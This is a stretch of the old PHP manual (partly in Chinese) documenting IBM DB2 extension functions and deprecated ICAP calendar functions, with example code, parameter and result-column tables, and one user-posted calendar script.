Fetching first result set
array(2) {
  [0]=>
  string(16) "Bubbles         "
  [1]=>
  int(3)
}
array(2) {
  [0]=>
  string(16) "Gizmo           "
  [1]=>
  int(4)
}

Fetching second result set
array(4) {
  [0]=>
  string(16) "Sweater         "
  [1]=>
  int(6)
  [2]=>
  string(5) "llama"
  [3]=>
  string(6) "150.00"
}
array(4) {
  [0]=>
  string(16) "Smarty          "
  [1]=>
  int(2)
  [2]=>
  string(5) "horse"
  [3]=>
  string(6) "350.00"
}

Fetching third result set
array(1) {
  [0]=>
  string(16) "Bubbles         "
}
array(1) {
  [0]=>
  string(16) "Gizmo           "
}

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_free_stmt | 上一级 | db2_num_fields


db2_num_fields

(PECL)

db2_num_fields -- Returns the number of fields contained in a result set

说明

int db2_num_fields ( resource stmt )

Returns the number of fields contained in a result set. This is most useful for handling the result sets returned by dynamically generated queries, or for result sets returned by stored procedures, where your application cannot otherwise know how to retrieve and use the results.

参数

stmt

A valid statement resource containing a result set.

返回值

Returns an integer value representing the number of fields in the result set associated with the specified statement resource. Returns FALSE if the statement resource is not a valid input value.

范例

例子 1. Retrieving the number of fields in a result set

The following example demonstrates how to retrieve the number of fields returned in a result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, $sql);
$columns = db2_num_fields($stmt);

echo "There are {$columns} columns in the result set.";
?>

上例将输出：

There are 4 columns in the result set.

参见

db2_execute()
db2_field_display_size()
db2_field_name()
db2_field_num()
db2_field_precision()
db2_field_scale()
db2_field_type()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_next_result | 上一级 | db2_num_rows


db2_num_rows

(PECL)

db2_num_rows -- Returns the number of rows affected by an SQL statement

说明

int db2_num_rows ( resource stmt )

Returns the number of rows deleted, inserted, or updated by an SQL statement.

To determine the number of rows that will be returned by a SELECT statement, issue SELECT COUNT(*) with the same predicates as your intended SELECT statement and retrieve the value.

If your application logic checks the number of rows returned by a SELECT statement and branches if the number of rows is 0, consider modifying your application to attempt to return the first row with one of db2_fetch_assoc(), db2_fetch_both(), db2_fetch_array(), or db2_fetch_row(), and branch if the fetch function returns FALSE.

注: If you issue a SELECT statement using a scrollable cursor, db2_num_rows() returns the number of rows returned by the SELECT statement. However, the overhead associated with scrollable cursors significantly degrades the performance of your application, so if this is the only reason you are considering using scrollable cursors, you should use a forward-only cursor and either call SELECT COUNT(*) or rely on the boolean return value of the fetch functions to achieve the equivalent functionality with much better performance.

参数

stmt

A valid stmt resource containing a result set.

返回值

Returns the number of rows affected by the last SQL statement issued by the specified statement handle.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_num_fields | 上一级 | db2_pconnect


db2_pconnect

(PECL)

db2_pconnect -- Returns a persistent connection to a database

说明

resource db2_pconnect ( string database, string username, string password [, array options] )

Returns a persistent connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database. For more information on persistent connections, refer to 41 章.

Calling db2_close() on a persistent connection always returns TRUE, but the underlying DB2 client connection remains open and waiting to serve the next matching db2_pconnect() request.

Note that you are strongly urged to only use persistent connections on connections with autocommit turned on. If you attempt to combine transactions with persistent connections, issuing db2_commit() or db2_rollback() against a persistent connection will affect every persistent connection that is currently using the same underlying DB2 client connection. You may also rapidly experience locking escalation if you do not use autocommit for your persistent connections.

参数

database

The database alias in the DB2 client catalog.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

返回值

Returns a connection handle resource if the connection attempt is successful. db2_pconnect() tries to reuse an existing connection resource that exactly matches the database, username, and password parameters. If the connection attempt fails, db2_pconnect() returns FALSE.

范例

例子 1. A db2_pconnect() example

In the following example, the first call to db2_pconnect() returns a new persistent connection resource. The second call to db2_pconnect() returns a persistent connection resource that simply reuses the first persistent connection resource.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$pconn = db2_pconnect($database, $user, $password);

if ($pconn) {
    echo "Persistent connection succeeded.";
}
else {
    echo "Persistent connection failed.";
}

$pconn2 = db2_pconnect($database, $user, $password);
if ($pconn) {
    echo "Second persistent connection succeeded.";
}
else {
    echo "Second persistent connection failed.";
}
?>

上例将输出：

Persistent connection succeeded.
Second persistent connection succeeded.

参见

db2_connect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_num_rows | 上一级 | db2_prepare


db2_prepare

(PECL)

db2_prepare -- Prepares an SQL statement to be executed

说明

resource db2_prepare ( resource connection, string statement [, array options] )

db2_prepare() creates a prepared SQL statement which can include 0 or more parameter markers (? characters) representing parameters for input, output, or input/output. You can pass parameters to the prepared statement using db2_bind_param(), or for input values only, as an array passed to db2_execute().

There are three main advantages to using prepared statements in your application:

  • Performance: when you prepare a statement, the database server creates an optimized access plan for retrieving data with that statement. Subsequently issuing the prepared statement with db2_execute() enables the statements to reuse that access plan and avoids the overhead of dynamically creating a new access plan for every statement you issue.

  • Security: when you prepare a statement, you can include parameter markers for input values. When you execute a prepared statement with input values for placeholders, the database server checks each input value to ensure that the type matches the column definition or parameter definition.

  • Advanced functionality: Parameter markers not only enable you to pass input values to prepared SQL statements, they also enable you to retrieve OUT and INOUT parameters from stored procedures using db2_bind_param().

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement, optionally containing one or more parameter markers..

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

cursor

Passing the DB2_FORWARD_ONLY value requests a forward-only cursor for this SQL statement. This is the default type of cursor, and it is supported by all database servers. It is also much faster than a scrollable cursor.

Passing the DB2_SCROLLABLE value requests a scrollable cursor for this SQL statement. This type of cursor enables you to fetch rows non-sequentially from the database server. However, it is only supported by DB2 servers, and is much slower than forward-only cursors.

返回值

Returns a statement resource if the SQL statement was successfully parsed and prepared by the database server. Returns FALSE if the database server returned an error. You can determine which error was returned by calling db2_stmt_error() or db2_stmt_errormsg().

范例

例子 1. Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';
$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    foreach ($animals as $animal) {
        $result = db2_execute($stmt, $animal);
    }
}
?>

参见

db2_bind_param()
db2_execute()
db2_stmt_error()
db2_stmt_errormsg()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_pconnect | 上一级 | db2_primary_keys


db2_primary_keys

(PECL)

db2_primary_keys -- Returns a result set listing primary keys for a table

说明

resource db2_primary_keys ( resource connection, string qualifier, string schema, string table-name )

Returns a result set listing the primary keys for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. If schema is NULL, db2_primary_keys() matches the schema for the current connection.

table-name

The name of the table.

返回值

Returns a statement resource with a result set containing rows describing the primary keys for the specified table. The result set is composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema for the table containing the primary key.
TABLE_NAME | Name of the table containing the primary key.
COLUMN_NAME | Name of the column containing the primary key.
KEY_SEQ | 1-indexed position of the column in the key.
PK_NAME | The name of the primary key.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_prepare | 上一级 | db2_procedure_columns


db2_procedure_columns

(PECL)

db2_procedure_columns -- Returns a result set listing stored procedure parameters

说明

resource db2_procedure_columns ( resource connection, string qualifier, string schema, string procedure, string parameter )

Returns a result set listing the parameters for one or more stored procedures.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

parameter

The name of the parameter. This parameter accepts a search pattern containing _ and % as wildcards. If this parameter is NULL, all parameters for the specified stored procedures are returned.

返回值

Returns a statement resource with a result set containing rows describing the parameters for the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is NULL if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
COLUMN_NAME | Name of the parameter.
COLUMN_TYPE

An integer value representing the type of the parameter:

Return value | Parameter type
1 (SQL_PARAM_INPUT) | Input (IN) parameter.
2 (SQL_PARAM_INPUT_OUTPUT) | Input/output (INOUT) parameter.
3 (SQL_PARAM_OUTPUT) | Output (OUT) parameter.

DATA_TYPE | The SQL data type for the parameter represented as an integer value.
TYPE_NAME | A string representing the data type for the parameter.
COLUMN_SIZE | An integer value representing the size of the parameter.
BUFFER_LENGTH | Maximum number of bytes necessary to store data for this parameter.
DECIMAL_DIGITS | The scale of the parameter, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the parameter is nullable or not.
REMARKS | Description of the parameter.
COLUMN_DEF | Default value for the parameter.
SQL_DATA_TYPE | An integer value representing the size of the parameter.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or NULL for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type parameter, which matches COLUMN_SIZE for single-byte character set data, or NULL for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the parameter in the CALL statement.
IS_NULLABLE | A string value where 'YES' means that the parameter accepts or returns NULL values and 'NO' means that the parameter does not accept or return NULL values.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_primary_keys | 上一级 | db2_procedures


db2_procedures

(PECL)

db2_procedures -- Returns a result set listing the stored procedures registered in a database

说明

resource db2_procedures ( resource connection, string qualifier, string schema, string procedure )

Returns a result set listing the stored procedures registered in a database.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the procedures. This parameter accepts a search pattern containing _ and % as wildcards.

procedure

The name of the procedure. This parameter accepts a search pattern containing _ and % as wildcards.

返回值

Returns a statement resource with a result set containing rows describing the stored procedures matching the specified parameters. The rows are composed of the following columns:

Column name | Description
PROCEDURE_CAT | The catalog that contains the procedure. The value is NULL if this table does not have catalogs.
PROCEDURE_SCHEM | Name of the schema that contains the stored procedure.
PROCEDURE_NAME | Name of the procedure.
NUM_INPUT_PARAMS | Number of input (IN) parameters for the stored procedure.
NUM_OUTPUT_PARAMS | Number of output (OUT) parameters for the stored procedure.
NUM_RESULT_SETS | Number of result sets returned by the stored procedure.
REMARKS | Any comments about the stored procedure.
PROCEDURE_TYPE | Always returns 1, indicating that the stored procedure does not return a return value.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_special_columns()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_procedure_columns | 上一级 | db2_result


db2_result

(PECL)

db2_result -- Returns a single column from a row in the result set

说明

mixed db2_result ( resource stmt, mixed column )

Use db2_result() to return the value of a specified column in the current row of a result set. You must call db2_fetch_row() before calling db2_result() to set the location of the result set pointer.

参数

stmt

A valid stmt resource.

column

Either an integer mapping to the 0-indexed field in the result set, or a string matching the name of the column.

返回值

Returns the value of the requested field if the field exists in the result set. Returns NULL if the field does not exist, and issues a warning.

范例

例子 1. A db2_result() example

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 'BREED');
    print "$name $breed";
}
?>

上例将输出：

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

参见

db2_fetch_array()
db2_fetch_assoc()
db2_fetch_both()
db2_fetch_object()
db2_fetch_row()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_procedures | 上一级 | db2_rollback


db2_rollback

(PECL)

db2_rollback -- Rolls back a transaction

说明

bool db2_rollback ( resource connection )

Rolls back an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_rollback() normally has no effect unless AUTOCOMMIT has been turned off for the connection resource.

注: If the specified connection resource is a persistent connection, all transactions in progress for all applications using that persistent connection will be rolled back. For this reason, persistent connections are not recommended for use in applications that require transactions.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Rolling back a DELETE statement

In the following example, we count the number of rows in a table, turn off AUTOCOMMIT mode on a database connection, delete all of the rows in the table and return the count of 0 to prove that the rows have been removed. We then issue db2_rollback() and return the updated count of rows in the table to show that the number is the same as before we issued the DELETE statement. The return to the original state of the table demonstrates that the roll back of the transaction succeeded.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // Turn AUTOCOMMIT off
    db2_autocommit($conn, DB2_AUTOCOMMIT_OFF);

    // Delete all rows from ANIMALS
    db2_exec($conn, "DELETE FROM animals");

    $stmt = db2_exec($conn, "SELECT count(*) FROM animals");
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";

    // Roll back the DELETE statement
    db2_rollback( $conn );

    $stmt = db2_exec( $conn, "SELECT count(*) FROM animals" );
    $res = db2_fetch_array( $stmt );
    echo $res[0] . "\n";
    db2_close($conn);
}
?>

上例将输出：

7
0
7

参见

db2_autocommit()
db2_commit()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_result | 上一级 | db2_special_columns


db2_special_columns

(PECL)

db2_special_columns -- Returns a result set listing the unique row identifier columns for a table

说明

resource db2_special_columns ( resource connection, string qualifier, string schema, string table_name, int scope )

Returns a result set listing the unique row identifier columns for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables.

table_name

The name of the table.

scope

Integer value representing the minimum duration for which the unique row identifier is valid. This can be one of the following values:

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.

返回值

Returns a statement resource with a result set containing rows with unique row identifier information for a table. The rows are composed of the following columns:

Column name | Description
SCOPE

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.

COLUMN_NAME | Name of the unique column.
DATA_TYPE | SQL data type for the column.
TYPE_NAME | Character string representation of the SQL data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
PSEUDO_COLUMN | Always returns 1.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_rollback | 上一级 | db2_statistics


db2_statistics

(PECL)

db2_statistics -- Returns a result set listing the index and statistics for a table

说明

resource db2_statistics ( resource connection, string qualifier, string schema, string table-name, bool unique )

Returns a result set listing the index and statistics for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema that contains the targeted table. If this parameter is NULL, the statistics and indexes are returned for the schema of the current user.

table_name

The name of the table.

unique

An integer value representing the type of index information to return.

0

Return only the information for unique indexes on the table.

1

Return the information for all indexes on the table.

返回值

Returns a statement resource with a result set containing rows describing the statistics and indexes for the base tables matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
NON_UNIQUE

An integer value representing whether the index prohibits unique values, or whether the row represents statistics on the table itself:

Return value | Parameter type
0 (SQL_FALSE) | The index allows duplicate values.
1 (SQL_TRUE) | The index values must be unique.
NULL | This row is statistics information for the table itself.

INDEX_QUALIFIER | A string value representing the qualifier that would have to be prepended to INDEX_NAME to fully qualify the index.
INDEX_NAME | A string representing the name of the index.
TYPE

An integer value representing the type of information contained in this row of the result set:

Return value | Parameter type
0 (SQL_TABLE_STAT) | The row contains statistics about the table itself.
1 (SQL_INDEX_CLUSTERED) | The row contains information about a clustered index.
2 (SQL_INDEX_HASH) | The row contains information about a hashed index.
3 (SQL_INDEX_OTHER) | The row contains information about a type of index that is neither clustered nor hashed.

ORDINAL_POSITION | The 1-indexed position of the column in the index. NULL if the row contains statistics information about the table itself.
COLUMN_NAME | The name of the column in the index. NULL if the row contains statistics information about the table itself.
ASC_OR_DESC | A if the column is sorted in ascending order, D if the column is sorted in descending order, NULL if the row contains statistics information about the table itself.
CARDINALITY

If the row contains information about an index, this column contains an integer value representing the number of unique values in the index.

If the row contains information about the table itself, this column contains an integer value representing the number of rows in the table.

PAGES

If the row contains information about an index, this column contains an integer value representing the number of pages used to store the index.

If the row contains information about the table itself, this column contains an integer value representing the number of pages used to store the table.

FILTER_CONDITION | Always returns NULL.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_special_columns | 上一级 | db2_stmt_error


db2_stmt_error

(PECL)

db2_stmt_error -- Returns a string containing the SQLSTATE returned by an SQL statement

说明

string db2_stmt_error ( [resource stmt] )

Returns a string containing the SQLSTATE value returned by an SQL statement.

If you do not pass a statement resource as an argument to db2_stmt_error(), the driver returns the SQLSTATE value associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_stmt_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

参数

stmt

A valid statement resource.

返回值

Returns a string containing an SQLSTATE value.

参见

db2_conn_error()
db2_conn_errormsg()
db2_stmt_errormsg()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_statistics | 上一级 | db2_stmt_errormsg


db2_stmt_errormsg

(PECL)

db2_stmt_errormsg -- Returns a string containing the last SQL statement error message

说明

string db2_stmt_errormsg ( [resource stmt] )

Returns a string containing the last SQL statement error message.

If you do not pass a statement resource as an argument to db2_stmt_errormsg(), the driver returns the error message associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

参数

stmt

A valid statement resource.

返回值

Returns a string containing the error message and SQLCODE value for the last error that occurred issuing an SQL statement.

参见

db2_conn_error()
db2_conn_errormsg()
db2_stmt_error()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_stmt_error | 上一级 | db2_table_privileges


db2_table_privileges

(PECL)

db2_table_privileges -- Returns a result set listing the tables and associated privileges in a database

说明

resource db2_table_privileges ( resource connection [, string qualifier [, string schema [, string table_name]]] )

Returns a result set listing the tables and associated privileges in a database.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table_name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

返回值

Returns a statement resource with a result set containing rows describing the privileges for the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege that has been granted. This can be one of ALTER, CONTROL, DELETE, INDEX, INSERT, REFERENCES, SELECT, or UPDATE.
IS_GRANTABLE | A string value of "YES" or "NO" indicating whether the grantee can grant the privilege to other users.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_stmt_errormsg | 上一级 | db2_tables


db2_tables

(PECL)

db2_tables -- Returns a result set listing the tables and associated metadata in a database

说明

resource db2_tables ( resource connection [, string qualifier [, string schema [, string table-name [, string table-type]]]] )

Returns a result set listing the tables and associated metadata in a database.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table-name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

table-type

A list of comma-delimited table type identifiers. To match all table types, pass NULL or an empty string. Valid table type identifiers include: ALIAS, HIERARCHY TABLE, INOPERATIVE VIEW, NICKNAME, MATERIALIZED QUERY TABLE, SYSTEM TABLE, TABLE, TYPED TABLE, TYPED VIEW, and VIEW.

返回值

Returns a statement resource with a result set containing rows describing the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
TABLE_TYPE | Table type identifier for the table.
REMARKS | Description of the table.

参见

db2_column_privileges()
db2_columns()
db2_foreign_keys()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_table_privileges()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_table_privileges | 上一级 | ICAP Functions [deprecated]


ICAP Functions [deprecated]

PHP 手册
后退 前进

LI. ICAP Functions [deprecated]

简介

注: Icap will be removed in near future. Neither this module, nor those versions of icap library are supported any longer. If you want to use calendar capabilities in PHP, use mcal instead.

需求

The icap library has to be installed, which is not longer supported and available.

安装

To get these functions to work, you have to compile PHP with --with-icap.

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
icap_close -- Close an ICAP stream
icap_create_calendar -- Create a new calendar
icap_delete_calendar -- Delete a calendar
icap_delete_event -- Delete an event from an ICAP calendar
icap_fetch_event -- Fetches an event from the calendar stream/
icap_list_alarms -- Return a list of events that has an alarm triggered at the given datetime
icap_list_events -- Return a list of events between two given datetimes
icap_open -- Opens up an ICAP connection
icap_rename_calendar -- Rename a calendar
icap_reopen -- Reopen ICAP stream to new calendar
icap_snooze -- Snooze an alarm
icap_store_event -- Store an event into an ICAP calendar

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_tables | 上一级 | icap_close


icap_close

(no version information, might be only in CVS)

icap_close -- Close an ICAP stream

Description

int icap_close ( int icap_stream [, int flags] )

Closes the given icap stream.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ICAP Functions [deprecated] | 上一级 | icap_create_calendar


icap_create_calendar

(PHP 4 <= 4.2.3)

icap_create_calendar -- Create a new calendar

Description

string icap_create_calendar ( int stream_id, string calendar )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
nrkkalyan at rediffmail dot com
05-Mar-2005 04:36
Simply copy this and save as cal.php. you will get a calender for the corresponding month you select.

<?PHP

$first_date = mktime(12,0,0,2,23,2005);
$second_date = mktime(12,0,0,2,27,2005);
$offset = $second_date-$first_date;

$noofdays= floor($offset/60/60/24);

if($noofdays==0){
   $hours=8;
}
else{
   $hours=$noofdays * 8;
}
 echo $hours ."<br>". $noofdays;

$month=date("m");
$year=date("Y");
$num = cal_days_in_month(CAL_GREGORIAN,$month,$year ); // 31
echo "<br>There was $num days in $month $year";
echo "<br>";
echo" <table>";
for ($i=1;$i<=$num; )
   {
echo"<tr>";
   for($j=0;$j<7 & $i<=$num;$j++)
   {

echo" <td>";

     echo $i . "  ";
     $i++;
echo" </td>";
   }
echo"</tr>";
   }
   echo" </table>";

?>
add a note add a note

后退 | 起点 | 前进
icap_close | 上一级 | icap_delete_calendar


icap_delete_calendar

(PHP 4 <= 4.2.3)

icap_delete_calendar -- Delete a calendar

Description

string icap_delete_calendar ( int stream_id, string calendar )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_create_calendar | 上一级 | icap_delete_event


icap_delete_event

(PHP 4 <= 4.2.3)

icap_delete_event -- Delete an event from an ICAP calendar

Description

string icap_delete_event ( int stream_id, int uid )

icap_delete_event() deletes the calendar event specified by the uid.

Returns TRUE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_delete_calendar | 上一级 | icap_fetch_event


icap_fetch_event

(PHP 4 <= 4.2.3)

icap_fetch_event -- Fetches an event from the calendar stream/

Description

int icap_fetch_event ( int stream_id, int event_id [, int options] )

icap_fetch_event() fetches an event from the calendar stream specified by event_id.

Returns an event object consisting of:

  • int id - ID of that event.

  • int public - TRUE if the event if public, FALSE if it is private.

  • string category - Category string of the event.

  • string title - Title string of the event.

  • string description - Description string of the event.

  • int alarm - number of minutes before the event to send an alarm/reminder.

  • object start - Object containing a datetime entry.

  • object end - Object containing a datetime entry.

All datetime entries consist of an object that contains:

  • int year - year

  • int month - month

  • int mday - day of month

  • int hour - hour

  • int min - minutes

  • int sec - seconds

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_delete_event | 上一级 | icap_list_alarms


icap_list_alarms

(PHP 4 <= 4.2.3)

icap_list_alarms -- Return a list of events that has an alarm triggered at the given datetime

Description

int icap_list_alarms ( int stream_id, array date, array time )

Returns an array of event ID's that has an alarm going off at the given datetime.

icap_list_alarms() function takes in a datetime for a calendar stream. An array of event id's that has an alarm should be going off at the datetime are returned.

All datetime entries consist of an object that contains:

  • int year - year

  • int month - month

  • int mday - day of month

  • int hour - hour

  • int min - minutes

  • int sec - seconds

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_fetch_event | 上一级 | icap_list_events


icap_list_events

(PHP 4 <= 4.2.3)

icap_list_events -- Return a list of events between two given datetimes

Description

array icap_list_events ( int stream_id, int begin_date [, int end_date] )

Returns an array of event ID's that are between the two given datetimes.

icap_list_events() function takes in a beginning datetime and an end datetime for a calendar stream. An array of event id's that are between the given datetimes are returned.

All datetime entries consist of an object that contains:

  • int year - year

  • int month - month

  • int mday - day of month

  • int hour - hour

  • int min - minutes

  • int sec - seconds

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_list_alarms | 上一级 | icap_open


icap_open

(PHP 4 <= 4.2.3)

icap_open -- Opens up an ICAP connection

Description

resource icap_open ( string calendar, string username, string password, string options )

Returns an ICAP stream on success, FALSE on error.

icap_open() opens up an ICAP connection to the specified calendar store. If the optional options is specified, passes the options to that mailbox also.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_list_events | 上一级 | icap_rename_calendar


icap_rename_calendar

(PHP 4 <= 4.2.3)

icap_rename_calendar -- Rename a calendar

Description

string icap_rename_calendar ( int stream_id, string old_name, string new_name )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_open | 上一级 | icap_reopen


icap_reopen

(PHP 4 <= 4.2.3)

